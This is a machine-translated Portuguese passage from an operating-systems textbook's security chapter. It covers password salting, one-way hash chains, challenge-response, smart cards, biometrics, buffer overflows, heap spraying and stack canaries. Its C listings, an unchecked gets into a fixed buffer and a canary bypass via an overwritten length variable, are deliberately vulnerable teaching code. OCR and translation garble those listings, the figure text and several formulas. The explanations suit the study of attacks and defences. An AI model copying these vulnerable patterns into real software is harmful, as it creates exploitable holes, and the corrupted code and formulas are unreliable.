com a senha como entrada e uma função de senha como saída. Este processo não é realmente criptografia, 
mas é mais fácil cnamá-lo de “criptografia”. O programa de login então lê o arquivo de senha, que é apenas 
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uma série de linhas ASCII, uma por usuário, até encontrar a linha que contém o nome de login 
do usuário. Se a senha (criptografada) contida nesta linha corresponder à senha criptografada 
recém-computada, o login é permitido, caso contrário é recusado. A vantagem desse esquema 
é que ninguém, nem mesmo o superusuário, pode procurar as senhas de qualquer usuário 
porque elas não estão armazenadas de forma não criptografada em nenhum lugar do sistema. 
Para fins de ilustração, assumimos por enquanto que a senha criptografada está armazenada 
no próprio arquivo de senha. Mais tarde, veremos, este não é mais o caso das variantes 
modernas do UNIX. 

Se o invasor conseguir obter a senha criptografada, o esquema poderá ser atacado, 
conforme segue. Um cracker primeiro constrói um dicionário de senhas prováveis, como Morris 
e Thompson fizeram. No lazer, eles são criptografados usando o algoritmo conhecido. Não 
importa quanto tempo esse processo demore, pois ele é feito antes do arrombamento. Agora 
armado com uma lista de pares (senha, senha criptografada), o cracker ataca. Ele lê o arquivo 
de senhas (acessível publicamente) e remove todas as senhas criptografadas. Elas são 
comparadas com as senhas criptografadas em sua lista. Para cada ocorrência, o nome de 
login e a senha não criptografada agora são conhecidos. Um simples script de shell pode 
automatizar esse processo para que possa ser executado em uma fração de segundo. Uma 
execução típica do script produzirá dezenas de senhas. 

Após reconhecerem a possibilidade deste ataque, Morris e Thompson descreveram uma 
técnica que torna o ataque quase inútil. A ideia deles é associar um número aleatório de n bits, 
chamado salt, a cada senha. O número aleatório é alterado sempre que a senha é alterada. O 
número aleatório é armazenado no arquivo de senha de forma não criptografada, para que 
todos possam lê-lo. Em vez de apenas armazenar a senha criptografada no arquivo de senhas, 
a senha e o número aleatório são primeiro concatenados e depois criptografados juntos. Esse 
resultado criptografado é então armazenado no arquivo de senhas, conforme mostrado na 
Figura 9.15 para um arquivo de senhas com cinco usuários, Bobbie, Tony, Laura, Mark e 
Deborah. Cada usuário possui uma linha no arquivo, com três entradas separadas por vírgulas: 
nome de login, salt e senha criptografada + salt. A notação e(Dog, 4238) representa o resultado 
da concatenação da senha de Bobbie, Dog, com seu salt atribuído aleatoriamente, 4238, e de 
sua execução através da função de criptografia, e. É o resultado dessa criptografia que é 
armazenado como o terceiro campo da entrada de Bobbie. 


Bobbie, 4238, e(Cão, 4238) 

Tony, 2918, e(6%%TaeFF, 2918) 
Laura, 6902, e(Shakespeare, 6902) 
Marco, 1694, e(XaB#Bwcz, 1694) 
Débora, 1092, e(LordByron, 1092) 


Figura 9-15. O uso de salt para derrotar a pré-computação de senhas criptografadas. 


Agora consideremos as implicações para um cracker que deseja criar uma lista de senhas 
prováveis, criptografá-las e salvar os resultados em um arquivo classificado, f, para que qualquer 
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a senha criptografada pode ser consultada facilmente. Se um intruso suspeitar que o Cachorro 
pode ser uma senha, não é mais suficiente apenas criptografar Dog e colocar o resultado 

em f. Ele tem que criptografar 2n strings, como Dog0000, Dog0001, Dog0002 e assim por diante . 
adiante e insira todos eles em f. Esta técnica aumenta o tamanho de fem 2n - UNIX 
usa este método com n = 12. Isso aumenta o tamanho do arquivo e o fator de trabalho para o 
atacante por 4096. 

Para segurança adicional, as versões modernas do UNIX normalmente armazenam os dados criptografados 
senhas em um arquivo "shadow" separado que, ao contrário do arquivo de senhas, só pode ser lido 
pelo root. A combinação de salgar o arquivo de senha e torná-lo ilegível, exceto indiretamente (e 
lentamente), geralmente pode resistir à maioria dos ataques a ele. 


Senhas de uso único 


A maioria dos superusuários exorta seus usuários mortais a alterarem suas senhas uma vez por 
mês. Infelizmente, ninguém nunca faz isso. Ainda mais extremo é mudar o 
senha a cada login, levando a senhas de uso único. Quando palavras-passe únicas são usadas, O 
usuário recebe um livro contendo uma lista de senhas. Cada login usa 
a próxima senha na lista. Se um intruso descobrir uma senha, não será 
faça algum bem a ele, pois da próxima vez uma senha diferente deverá ser usada. Sugere-se que o 
usuário tente evitar a perda do livro de senhas. 

Na verdade, um livro não é necessário devido a um esquema elegante concebido por Leslie 
Lamport que permite que um usuário faça login com segurança em uma rede insegura usando 
senhas de uso único (Lamport, 1981). O método de Lamport pode ser usado para permitir que um usuário 
rodando em um PC doméstico para fazer login em um servidor pela Internet, mesmo que intrusos 
pode ver e copiar todo o tráfego em ambas as direções. Além disso, não há segredos 
devem ser armazenados no sistema de arquivos do servidor ou do PC do usuário. O método às 
vezes é chamado de cadeia de hash unidirecional. 

O algoritmo é baseado em uma função unidirecional, ou seja, uma função y = f (x) que 
tem a propriedade de que dado x é fácil encontrar y, mas dado y é computacionalmente 
inviável encontrar x. A entrada e a saída devem ter o mesmo comprimento, por exemplo, 

256 bits. 

O usuário escolhe uma senha secreta que ele memoriza. Ele também escolhe um número inteiro, 
n, que é quantas senhas de uso único o algoritmo é capaz de gerar. Como um 
Por exemplo, considere n = 4, embora na prática um valor muito maior de n seria 
usado. Se a senha secreta for s, a primeira senha é fornecida executando a função unidirecional n 
vezes: 


P1 = f (f (f (f (s)))) 
A segunda senha é fornecida executando a função unidirecional n 1 vezes: 
P2 = f ( f ( f (s))) 


A terceira senha executa f duas vezes e a quarta senha executa uma vez. Em geral, 
Pit = f (Pi). O principal fato a ser observado aqui é que, dada qualquer senha na sequência, 
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é fácil calcular o anterior na sequência numérica, mas impossível calcular o próximo . Por exemplo, 
dado P2 é fácil encontrar P1 , mas impossível encontrar P3. 


O servidor é inicializado com PO, que é apenas f(P1). Este valor é armazenado na entrada do 
arquivo de senha associada ao nome de login do usuário junto com o inteiro 1, indicando que a próxima 
senha necessária é P1. Quando o usuário deseja efetuar login pela primeira vez, ele envia seu nome 
de login para o servidor, que responde enviando o número inteiro no arquivo de senha, 1. A máquina do 
usuário responde com P1, que pode ser computado localmente a partir de s , que é digitado no local. O 
servidor então calcula f (P1) e compara com o valor armazenado no arquivo de senha (P0). Se os 
valores corresponderem, o login é permitido, o número inteiro é incrementado para 2 e P1 substitui PO 
no arquivo de senha. 


No próximo login, o servidor envia ao usuário um 2, e a máquina do usuário calcula P2. O servidor 
então calcula f (P2) e compara-o com a entrada no arquivo de senha. Se os valores corresponderem, o 
login é permitido, o número inteiro é incrementado para 3 e P2 substitui P1 no arquivo de senha. A 
propriedade que faz esse esquema funcionar é que mesmo que um intruso possa capturar Pi, ele não 
tem como calcular Pi+1 a partir dele, apenas Pit que já foi usado e agora não tem valor. 


Quando todas as n senhas forem utilizadas, o servidor é reinicializado com uma nova chave secreta. 


Autenticação de resposta a desafio 


Uma variação da ideia da senha é fazer com que cada novo usuário forneça uma longa lista de 
perguntas e respostas que são então armazenadas no servidor de forma segura (por exemplo, em 
formato criptografado). As perguntas devem ser escolhidas de forma que o usuário não precise anotá- 
las. Possíveis perguntas que podem ser feitas são: 


1. Quem é a irmã de Marjolein? 


2. Em que rua ficava sua escola primária? 


3. O que a Sra. Ellis ensinou? 


No login, o servidor pergunta uma delas aleatoriamente e verifica a resposta. Para tornar este esquema 
prático, porém, seriam necessários muitos pares de perguntas e respostas. 

Outra variação é a resposta ao desafio. Quando isso é usado, o usuário escolhe um algoritmo ao 
se inscrever como usuário, por exemplo x2 . Quando o usuário faz login, o servidor envia ao usuário um 
argumento, digamos 7, e nesse caso o usuário digita 49. O algoritmo pode ser diferente de manhã e à 
tarde, em dias diferentes da semana e assim por diante. 


Se o dispositivo do usuário tiver poder computacional real, como um computador pessoal, um 
assistente digital pessoal ou um telefone celular, uma forma mais poderosa de resposta ao desafio 
poderá ser usada. Antecipadamente, o usuário seleciona uma chave secreta, k, que é inicialmente 
trazida manualmente para o sistema do servidor. Uma cópia também é mantida (de forma segura) na conta do usuário 
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computador. No momento do login, o servidor envia um número aleatório, r, para o computador 

do usuário, que então calcula f (r, k) e o envia de volta, onde fé uma função conhecida 
publicamente. O servidor então faz o cálculo sozinho e verifica se o resultado enviado de volta está 
de acordo com o cálculo. A vantagem deste esquema sobre uma senha é que mesmo que um 
escutador veja e registre todo o tráfego em ambas as direções, ele não aprenderá nada que o 
ajude na próxima vez. É claro que a função f tem de ser suficientemente complicada para que k 
não possa ser deduzido, mesmo dado um grande conjunto de observações. Funções hash 


criptográficas são boas escolhas, com o argumento sendo o XOR de re k. Estas funções são 
conhecidas por serem difíceis de reverter. 


9.4.2 Autenticação Usando um Objeto Físico 


O segundo método para autenticar usuários é verificar algum objeto físico que eles possuem, 
em vez de algo que eles conhecem. Chaves de metal para portas têm sido usadas há séculos para 
essa finalidade. Hoje em dia, o objeto físico utilizado muitas vezes é um cartão plástico que é 
inserido em um leitor associado ao computador. Normalmente, o usuário não deve apenas inserir 
o cartão, mas também digitar uma senha, para evitar que alguém utilize um cartão perdido ou 
roubado. Visto desta forma, o uso do ATM (Automated Teller Machine) de um banco começa com 
o usuário fazendo login no computador do banco através de um terminal remoto (o ATM) usando 
um cartão plástico e uma senha (atualmente um código PIN de 4 dígitos na maioria dos países)., 
mas isso é apenas para evitar o custo de colocar um teclado QWERTY completo no caixa 
eletrônico). 

Os cartões plásticos que contêm informações vêm em duas variedades: cartões com tarja 
magnética e cartões com chip. Os cartões com tarja magnética contêm cerca de 140 bytes de 
informações escritas em um pedaço de fita magnética colado na parte de trás do cartão. Esta 
informação pode ser lida pelo terminal e depois enviada para um computador central. Muitas vezes 
a informação contém a senha do usuário (por exemplo, código PIN) para que o terminal possa 
realizar uma verificação de identidade mesmo se o link para o computador principal estiver 
inoperante. Normalmente a senha é criptografada por uma chave conhecida apenas pelo banco. 
Esses cartões custam cerca de US$ 0,10 a US$ 0,50, dependendo da presença de um adesivo de 
holograma na frente e do volume de produção. Como forma de identificar os usuários em geral, os 
cartões com tarja magnética são arriscados porque o equipamento para lê-los e gravá-los é barato e difundido. 

Os cartões com chip contêm um pequeno circuito integrado (chip). Esses cartões podem ser 
subdivididos em duas categorias: cartões com valor armazenado e cartões inteligentes. Os cartões 
de valor armazenado contêm uma pequena quantidade de memória (geralmente apenas alguns 
KB) usando a tecnologia ROM para permitir que o valor seja lembrado quando o cartão for removido 
do leitor e, portanto, a alimentação for desligada. Não há CPU no cartão, portanto o valor 
armazenado deve ser alterado por uma CPU externa (no leitor). Esses cartões são produzidos em 
massa aos milhões por menos de US$ 1 e são usados, por exemplo, como cartões telefônicos pré- 
pagos. Quando uma ligação é feita, o telefone apenas diminui o valor do cartão, mas nenhum 
dinheiro realmente muda de mãos. Por esta razão, estes cartões são geralmente emitidos por uma 
empresa para uso apenas em suas máquinas (por exemplo, telefones ou máquinas de venda 
automática). Eles poderiam ser usados para autenticação de login armazenando um arquivo de 1 KB 
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senha neles que o leitor enviaria ao computador central, mas na prática isso raramente, ou nunca, 
é feito. 

Os cartões inteligentes podem ser usados para reter dinheiro, assim como os cartões com 
valor armazenado, mas com muito mais segurança e universalidade. Os cartões podem ser 
carregados com dinheiro em um caixa eletrônico ou em casa, pelo telefone, por meio de um leitor 
especial fornecido pelo banco. Ao ser inserido no leitor do lojista, o usuário pode autorizar o cartão 
a descontar uma determinada quantia em dinheiro do cartão (digitando SIM), fazendo com que o 
cartão envie uma pequena mensagem criptografada ao lojista. Posteriormente, o comerciante pode 
entregar a mensagem a um banco para que seja creditado o valor pago. 

Uma vantagem dos cartões inteligentes em relação, digamos, aos cartões de crédito ou débito, 
é que eles não precisam de uma conexão on-line com um banco. Se você não acredita que isso 
seja uma vantagem, tente a seguinte experiência. Tente comprar uma única barra de chocolate em 
uma loja e insista em pagar com cartão de crédito. Se o comerciante se opuser, diga que você não 
tem dinheiro com você e, além disso, precisa das milhas de passageiro frequente. Você descobrirá 
que o comerciante não está entusiasmado com a ideia (porque as taxas bancárias associadas 
diminuem o lucro do item). Isso torna os cartões inteligentes úteis para compras em pequenas 
lojas, parquímetros, máquinas de venda automática e muitos outros dispositivos que normalmente exigem moedas. 

Os cartões inteligentes têm outros usos potencialmente valiosos (por exemplo, codificar as 
alergias e outras condições médicas do portador de forma segura para uso em emergências), mas 
este não é o lugar para contar essa história. Nosso interesse aqui é como eles podem ser usados 
para autenticação de login segura. A ideia básica é simples: um cartão inteligente é um computador 
pequeno e inviolável que pode participar de uma discussão, chamada protocolo, com um 
computador central para autenticar o usuário. Por exemplo, um usuário que deseja comprar coisas 
em um site de comércio eletrônico pode inserir um cartão inteligente em um leitor doméstico 
conectado ao seu PC. O site de comércio eletrônico não apenas usaria o cartão inteligente para 
autenticar o usuário de uma forma mais segura do que uma senha, mas também poderia deduzir o 
preço de compra diretamente do cartão inteligente, eliminando uma grande parte das despesas 
gerais (e riscos) associadas. com o uso de cartão de crédito para compras on-line. 

Vários esquemas de autenticação podem ser usados com um cartão inteligente. Uma resposta 
ao desafio particularmente simples funciona assim. O servidor envia um número aleatório de 1.024 
bits para o cartão inteligente, que então adiciona a ele a senha de 1.024 bits do usuário armazenada 
na ROM do cartão. A soma é então elevada ao quadrado e os 1.024 bits do meio são enviados de 
volta ao servidor, que conhece a senha do usuário e pode calcular se o resultado está correto ou 
não. A sequência é mostrada na Figura 9-16. Se um escuta telefônica vir ambas as mensagens, ele 
não será capaz de entendê-las, e gravá-las para uso futuro é inútil porque no próximo login, um 
número aleatório diferente de 1024 bits será enviado. Na prática, um algoritmo muito melhor é 
usado. 


9.4.3 Autenticação usando biometria 


O terceiro método de autenticação mede características físicas do usuário que são difíceis de 
falsificar. Estes são chamados de biometria (Boulgouris et al., 2010; e Campisi, 2013). Por exemplo, 
muitos sistemas operacionais para smartphones e notebooks usam reconhecimento facial e/ou 
impressões digitais para verificar a identidade do usuário. 


Machine Translated by Google 


646 SEGURANÇA INDIVÍDUO. 9 


Computador 


remoto 


Cartão 


inteligente 
1. Desafio enviado para cartão inteligente 


2. O cartão 
3. Resposta enviada de volta 


inteligente 


calcula a resposta Leitor de 
cartão 


inteligente 


Figura 9-16. Uso de um cartão inteligente para autenticação. 


Um sistema biométrico típico tem duas partes: registro e identificação. Durante a inscrição, as 
características do usuário são medidas e os resultados digitalizados. 
Em seguida, características significativas são extraídas e armazenadas em um registro associado ao 
usuário. O registro pode ser mantido em um banco de dados central (por exemplo, para login em um 
computador remoto) ou armazenado em um cartão inteligente que o usuário carrega consigo e insere 
em um leitor remoto (por exemplo, em um caixa eletrônico). 

A outra parte é a identificação. O usuário aparece e fornece um nome de login. 
Então o sistema faz a medição novamente. Se os novos valores corresponderem aos amostrados no 
momento da inscrição, o login será aceito; caso contrário, será rejeitado. O nome de login é necessário 
porque as medidas nunca são exatas, por isso é difícil indexá-las e depois pesquisar o índice. Além 
disso, duas pessoas podem ter as mesmas características, portanto exigir que as características 
medidas correspondam às de um usuário específico é mais forte do que apenas exigir que correspondam 
às de qualquer usuário. 

A característica escolhida deve ter variabilidade suficiente para que o sistema possa distinguir 
entre muitas pessoas sem erros. Por exemplo, a cor do cabelo não é um bom indicador porque muitas 
pessoas partilham a mesma cor. Além disso, a característica não deve variar ao longo do tempo e, em 
algumas pessoas, a cor do cabelo não possui essa propriedade. Da mesma forma, a voz de uma pessoa 
pode ser diferente devido a um resfriado e um rosto pode parecer diferente devido a uma barba ou 
maquiagem não presente no momento da inscrição. Como as amostras posteriores nunca corresponderão 
exatamente aos valores de inscrição, os projetistas do sistema terão que decidir até que ponto a 
correspondência deve ser boa para ser aceita. Em particular, eles têm que decidir se é pior rejeitar um 
usuário legítimo de vez em quando ou deixar um impostor entrar de vez em quando. Um site de comércio 
eletrônico pode decidir que rejeitar um cliente fiel pode ser pior do que aceitar uma pequena fraude, 
enquanto um site de armas nucleares pode decidir que recusar o acesso a um funcionário genuíno é 
melhor do que permitir a entrada de estranhos aleatórios duas vezes por ano. 


Um ponto importante aqui é que qualquer esquema de autenticação deve ser psicologicamente 
aceitável para a comunidade de usuários. Mesmo algo tão não intrusivo como armazenar 
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impressões digitais online, podem ser inaceitáveis para as pessoas porque associam impressões digitais a 
criminosos. Usar impressões digitais para desbloquear um telefone é aceitável. 


9.5 EXPLORANDO O SOFTWARE 


Uma das principais maneiras de invadir o computador de um usuário é explorar vulnerabilidades no 
software em execução no sistema para forçá-lo a fazer algo diferente. 
do que o programador pretendia. Por exemplo, um ataque comum é infectar o 
navegador por meio de um download drive-by. Neste ataque, o cibercriminoso infecta o navegador do 
usuário colocando conteúdo malicioso em um servidor Web. Assim que 
o usuário visita o site, o navegador está infectado. Às vezes, os servidores Web são 
completamente executado pelos invasores, caso em que os invasores devem encontrar uma maneira de 
atrair usuários para seus sites (enviar spam para pessoas com promessas de software gratuito, filmes ou 
fotos obscenas pode resolver o problema). No entanto, também é possível que os invasores consigam 
colocar conteúdo malicioso em um site legítimo (talvez nos anúncios ou 
em um fórum de discussão). Há alguns anos, o site do Miami Dolphins foi 
comprometido desta forma, poucos dias antes dos Dolphins sediarem o Super Bowl, 
um dos eventos esportivos mais esperados do ano. Poucos dias antes do evento, 
o site era extremamente popular e muitos usuários que o visitavam foram infectados. Após a infecção inicial 
em um drive-by-download, o código do invasor executado no navegador baixa o software zumbi real 
(malware), executa-o, 
e garante que ele sempre seja iniciado quando o sistema for inicializado. 

Como este é um livro sobre sistemas operacionais, o foco está em como subverter o 
sistema operacional. As muitas maneiras de explorar bugs de software para atacar sites 
e bancos de dados não são abordados aqui. O cenário típico é que alguém descubra um bug no sistema 
operacional e então encontre uma maneira de explorá-lo para comprometer 
computadores que estão executando o código defeituoso. Os downloads drive-by não são realmente 
também faz parte do quadro, mas veremos que muitas das vulnerabilidades e 
exploits em aplicativos de usuário também são aplicáveis ao kernel. 

No famoso livro de Lewis Caroll, Através do Espelho, a Rainha Vermelha 
leva Alice em uma corrida louca. Eles correm o mais rápido que podem, mas não importa o quão rápido eles 
correr, eles ficam sempre no mesmo lugar. Isso é estranho, pensa Alice, e ela diz isso. 
"Em nosso país, você geralmente chegaria a outro lugar - se corresse muito rápido por um 
há muito tempo, como temos feito." "Um tipo de país lento!" disse a Rainha. "Agora, 
aqui, você vê, é preciso toda a corrida que você pode fazer para se manter no mesmo lugar. Se você 
quiser chegar a outro lugar, você deve correr pelo menos duas vezes mais rápido que isso!" 

O efeito Rainha Vermelha é típico das corridas armamentistas evolucionárias. No decorrer das 
milhões de anos, os ancestrais das zebras e dos leões evoluíram. Zebras se tornaram 
mais rápido e melhor em ver, ouvir e cheirar predadores — útil, se você quiser 
fugir dos leões. Mas, entretanto, os leões também se tornaram mais rápidos, maiores, mais furtivos, 
e melhor camuflado — útil, se você gosta de zebra no jantar. Então, embora o leão 
e a zebra "melhoraram" seus designs, nem tiveram mais sucesso em 
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vencer o outro na caça; ambos ainda existem na natureza. Ainda assim, leões e zebras estão 
envolvidos numa corrida armamentista. Eles estão correndo para ficar parados. O efeito Rainha 
Vermelha também se aplica à exploração de programas. Os ataques tornam-se cada vez mais 
sofisticados para lidar com medidas de segurança cada vez mais avançadas. 

Embora cada exploração envolva um bug específico em um programa específico, existem 
diversas categorias gerais de bugs que ocorrem repetidamente e vale a pena estudar para ver 
como os ataques funcionam. Nas seções seguintes examinaremos não apenas alguns desses 
métodos, mas também contramedidas para detê-los e contra-contramedidas para evadir essas 
medidas, e até mesmo algumas contra-medidas para combater esses truques, e assim por 
diante. Isso lhe dará uma boa ideia da corrida armamentista entre atacantes e defensores — e 
como é correr com a Rainha Vermelha. 


Começaremos nossa discussão com o venerável buffer overflow, uma das técnicas de 
exploração mais importantes na história da segurança informática. Já foi usado no primeiro worm 
da Internet, escrito por Robert Morris Jr. em 1988, e ainda é amplamente utilizado hoje. Apesar 
de todas as contramedidas, é seguro prever que os buffer overflows ainda existirão por algum 
tempo. Os buffer overflows são ideais para introduzir três dos mais importantes mecanismos de 
proteção disponíveis na maioria dos sistemas modernos: canários de pilha, proteção de execução 
de dados e randomização de layout de espaço de endereço. Depois disso, veremos outras 
técnicas de exploração, como ataques de string de formato, overflows de inteiros e explorações 
de ponteiros pendentes. 


9.5.1 Ataques de estouro de buffer 


Uma rica fonte de ataques se deve ao fato de que praticamente todos os sistemas 
operacionais e a maioria dos programas de sistemas são escritos nas linguagens de programação 
C ou C++ (porque os programadores gostam delas e podem ser compilados em código-objeto 
extremamente eficiente). Infelizmente, nenhum compilador C ou C++ faz a verificação dos limites 
do array. Como exemplo, a função da biblioteca C get, que lê uma string (de tamanho 
desconhecido) em um buffer de tamanho fixo, mas sem verificar se há overflow, é notória por 
estar sujeita a esse tipo de ataque (alguns compiladores até detectam o uso de recebe e avisa 
sobre isso). Consequentemente, a seguinte sequência de código também não é verificada: 


01. void A() 

(02. caractere B[128]; /* reserva um buffer com espaço para 128 bytes na pilha */ 
03. — printf("Digite mensagem de log: 

04. "); obtém /* lê a mensagem de log da entrada padrão no buffer */ /* 
(B); 05. escreverLog envia a string em um formato bonito para o arquivo de log */ 
(B); 06.) 


A função A representa um procedimento de registro — um tanto simplificado. Cada vez que a 
função é executada, ela convida o usuário a digitar uma mensagem de log e então lê tudo o que 
o usuário digita no buffer B, usando a função get da biblioteca C. 
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Por fim, ele chama a função writeLog (local) que presumivelmente grava a entrada do log 
em um formato atraente (talvez adicionando uma data e hora à mensagem de log para 
facilitar a pesquisa posterior no log). Suponha que a função A faça parte de um processo 
privilegiado, por exemplo, um programa que é SETUID root. Um invasor que é capaz de 
assumir o controle de tal processo, essencialmente possui privilégios de root. 

O código acima possui um bug grave, embora possa não ser imediatamente óbvio. 
O problema é causado pelo fato de que get lê caracteres da entrada padrão até encontrar 
um caractere de nova linha. Ele não tem ideia de que o buffer B pode conter apenas 128 
bytes. Suponha que o usuário digite uma linha de 256 caracteres. O que acontece com 
os 128 bytes restantes? Como o get não verifica violações dos limites do buffer, os bytes 
restantes também serão armazenados na pilha, como se o buffer tivesse 256 bytes. Tudo 
o que foi originalmente armazenado nos locais de memória logo após o término do buffer 
é simplesmente sobrescrito. As consequências são tipicamente desastrosas. 

Na Figura 9.17(a), vemos o programa principal em execução, com suas variáveis 
locais na pilha. Em algum momento ele cnama o procedimento A, como mostra a Figura 
9.17(b). A sequência de cnamada padrão começa colocando o endereço de retorno (que 
aponta para a instrução após a cnamada) na pilha. Em seguida, ele transfere o controle 
para A, que diminui o ponteiro da pilha em 128 para alocar armazenamento para sua 
variável local (buffer B). 


Espaço de endereço virtual Espaço de endereço virtual Espaço de endereço virtual 
OxFFFF... 


Variáveis Variáveis 


Variáveis 
locais Pilha locais locais 


. do main do main do main 
Ponteiro ==] 
de pilha Endereço de retorno Endereço de retorno 


Variáveis RSS Variáveis 


locais de A NBP locais de A P 
(Ei 4 


PA SZ 


(b) 


Figura 9-17. (a) Situação em que o programa principal está em execução. (b) Após o 
procedimento A ter sido chamado. (c) Estouro de buffer mostrado em cinza 


Programa 


(c) 


Programa 


(a) 


Então, o que exatamente acontecerá se o usuário fornecer mais de 128 caracteres? 
A Figura 9.17(c) mostra essa situação. Conforme mencionado, a função get copia todos os 
bytes para dentro e além do buffer, sobrescrevendo possivelmente muitas coisas na pilha, 
mas em particular sobrescrevendo o endereço de retorno colocado lá anteriormente. Em 
outras palavras, parte da entrada de log agora preenche o local da memória que o sistema 
assume para conter o endereço da instrução para a qual saltar quando a função retornar. Contanto que o 
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usuário digitou uma mensagem de log normal, os caracteres da mensagem provavelmente seriam 
não representa um endereço de código válido. Assim que a função A retornar, o programa 
tentaria pular para um alvo inválido — algo que o sistema não gostaria de jeito nenhum. 

Na maioria dos casos, o programa travava imediatamente. 

Agora suponhamos que não se trata de um usuário benigno que fornece uma mensagem 
excessivamente longa por engano, mas de um invasor que fornece uma mensagem personalizada 
destinada especificamente a subverter o fluxo de controle do programa. Digamos que o invasor forneça uma entrada que 
é cuidadosamente elaborado para substituir o endereço de retorno pelo endereço do buffer B. O 
O resultado é que, ao retornar da função A, o programa saltará para o início do buffer Be executará os 
bytes do buffer como código. Como o invasor controla o conteúdo do buffer, ele pode preenchê-lo com 
instruções de máquina — para executar 
o código do invasor dentro do contexto do programa original. Na verdade, o invasor sobrescreveu a 
memória com seu próprio código e conseguiu executá-lo. O programa 
agora está completamente sob o controle do invasor. Ela pode fazê-lo fazer o que quiser 
quer. Frequentemente, o código do invasor é usado para lançar um shell (por exemplo, por meio de 
a chamada do sistema exec ), permitindo ao intruso acesso conveniente à máquina. Para 
por esse motivo, esse código é comumente conhecido como shellcode, mesmo que não gere 
como o inferno. 

Este truque não funciona apenas para programas que usam get (embora você realmente deva 
evite usar essa função), mas para qualquer código que copie dados fornecidos pelo usuário em um 
buffer sem verificar violações de limites. Esses dados do usuário podem consistir em 
parâmetros de linha de comando, strings de ambiente, dados enviados por uma conexão de rede ou 
dados lidos de um arquivo de usuário. Existem muitas funções que copiam ou movem 
tais dados: strcpy, memcpy, strcat e muitos outros. Claro, qualquer loop antigo que 
você mesmo escreve e move bytes para um buffer também pode ser vulnerável. 

E se o invasor não souber o endereço exato para onde retornar? Muitas vezes um 
o invasor pode adivinhar onde o shellcode reside aproximadamente, mas não exatamente. Em 
nesse caso, uma solução típica é preceder o shellcode com um nop sled: uma sequência 
de instruções NO OPERATION de um byte que não fazem absolutamente nada. Desde que 
Se o invasor conseguir pousar em qualquer lugar do trenó nop, a execução eventualmente também 
alcançará o shelicode real no final. Nenhum trenó funciona na pilha, mas também 
na pilha. Na pilha, os invasores muitas vezes tentam aumentar suas chances colocando 
nop sleds e shellcode por toda a pilha. Por exemplo, em um navegador, 

O código JavaScript pode tentar alocar o máximo de memória possível e preenchê-lo com um longo 
nop sled e uma pequena quantidade de shellcode. Então, se o invasor conseguir desviar 

o fluxo de controle e visa um endereço de heap aleatório, é provável que ela acerte 

o trenó nop. Esta técnica é conhecida como pulverização em pilha. 


Pilha Canários 


Uma defesa comumente usada contra o ataque descrito acima é usar pilha 
Canárias. O nome deriva da profissão mineira. Trabalhar em uma mina é 
trabalho muito perigoso. Gases tóxicos como o monóxido de carbono podem acumular-se e matar o 
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mineiros. Além disso, o monóxido de carbono é inodoro, por isso os mineiros podem nem perceber. No 
passado, os mineiros traziam canários para a mina como alimento biológico. 
sistemas de alerta precoce. Qualquer acúmulo de gases tóxicos mataria o canário antes 
prejudicando seu dono. Se o seu pássaro morreu, provavelmente era hora de subir. Além da 
canários fornecem um áudio adorável enquanto estão vivos. 
Os sistemas informáticos modernos ainda utilizam canários (digitais) como sistemas de alerta precoce. 
A ideia é muito simples. Em locais onde o programa faz uma chamada de função, o 
compilador insere código para salvar um valor canário aleatório na pilha, logo abaixo do 
endereço de devolução. Ao retornar da função, o compilador insere código para verificar 
o valor do canário. Se o valor mudou, algo está errado. Nesse caso, é 
é melhor apertar o botão de pânico e travar do que continuar. 


Evitando Stack Canaries 


Canários funcionam bem contra ataques como o acima, mas muitos fluxos de buffer ainda são 
possíveis. Por exemplo, considere o trecho de código na Figura 9.18. Ele usa 
duas novas funções. O strcpy é uma função da biblioteca C para copiar uma string em um buffer, 
enquanto o strlen determina o comprimento de uma string. 


0 
02. lente interna; 
03. caractere B [128]; 


04. char logMsg [256]; 
05. 


par 


. void A (caractere “data) ( 


06. strcpy (logMsg, data); /* primeiro copie a string com a data na mensagem de log */ 
07. len = str len (data); /* determina quantos caracteres há na string de data */ 

08. recebe (B); /* agora receba a mensagem real */ 

09.strepy(logMsg-+len, B); /* e copie após a data em logMessage */ 


10.writeLog(logMsg); 11.) /* finalmente, escreve a mensagem de log no disco */ 


Figura 9-18. Ignorando o canário da pilha: modificando len primeiro, o ataque é capaz 
para ignorar o canário e modificar o endereço de retorno diretamente. 


Como vimos no exemplo anterior, a função A lê uma mensagem de log da entrada padrão, mas desta 
vez a precede explicitamente com a data atual (fornecida como 
um argumento de string para a função A). Primeiro, ele copia a data na mensagem de log 
(linha 6). Uma sequência de data pode ter comprimentos diferentes, dependendo do dia da semana, 
o mês, etc. Por exemplo, sexta-feira tem 5 letras, mas sábado 8. A mesma coisa para 
os meses. Então, a segunda coisa que ele faz é determinar quantos caracteres existem 
a string de data (linha 7). Em seguida, ele obtém a entrada do usuário (linha 8) e a copia no log 
mensagem, começando logo após a string de data. Isso é feito especificando o destino 
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da cópia deve ser o início da mensagem de log mais o comprimento da sequência de data 
(linha 9). Finalmente, ele grava o log no disco como antes. 
Suponhamos que o sistema use canários de pilha. Como poderíamos mudar 
o endereço de retorno? O truque é que quando o invasor transborda o buffer B, ele faz 
não tente acertar o endereço de retorno imediatamente. Em vez disso, ela modifica a variável len 
que está localizado logo acima dele na pilha. Na linha 9, len serve como um deslocamento que 
determina onde o conteúdo do buffer B será gravado. A ideia do programador foi 
pular apenas a string de data, mas como o invasor controla len, ele pode usá-lo para 
pule o canário e substitua o endereço de retorno. 
Além disso, os buffer overflows não estão limitados ao endereço de retorno. Qualquer função 
ponteiro acessível por meio de um overflow é um jogo justo. Um ponteiro de função é como 
um ponteiro regular, exceto que aponta para uma função em vez de dados. Por exemplo, C 
e C++ permitem que um programador declare uma variável f como um ponteiro para uma função que 


recebe um argumento de string e não retorna nenhum resultado, como segue: 
vazio (*f)(char*); 


A sintaxe talvez seja um pouco misteriosa, mas na verdade é apenas mais uma declaração de variável. 
Como a função A do exemplo anterior corresponde à assinatura acima, podemos agora 

escreva "f=A" e use f em vez de A em nosso programa. Está além deste livro ir 

em ponteiros de função detalhadamente, mas tenha certeza de que os ponteiros de função são 
bastante comum em sistemas operacionais. Agora suponha que o invasor consiga sobrescrever um 
ponteiro de função. Assim que o programa chamar a função usando o ponteiro de função, ele 
realmente chamará o código injetado pelo invasor. Para que a exploração 

funcionar, o ponteiro da função nem precisa estar na pilha. Ponteiros de função no 

heap são igualmente úteis. Contanto que o invasor possa alterar o valor de uma função 

ponteiro ou um endereço de retorno para o buffer que contém o código do invasor, ela é capaz 
para alterar o fluxo de controle do programa. 


Prevenção de Execução de Dados 


Talvez agora você possa exclamar: "Espere um minuto! A verdadeira causa do problema não é 
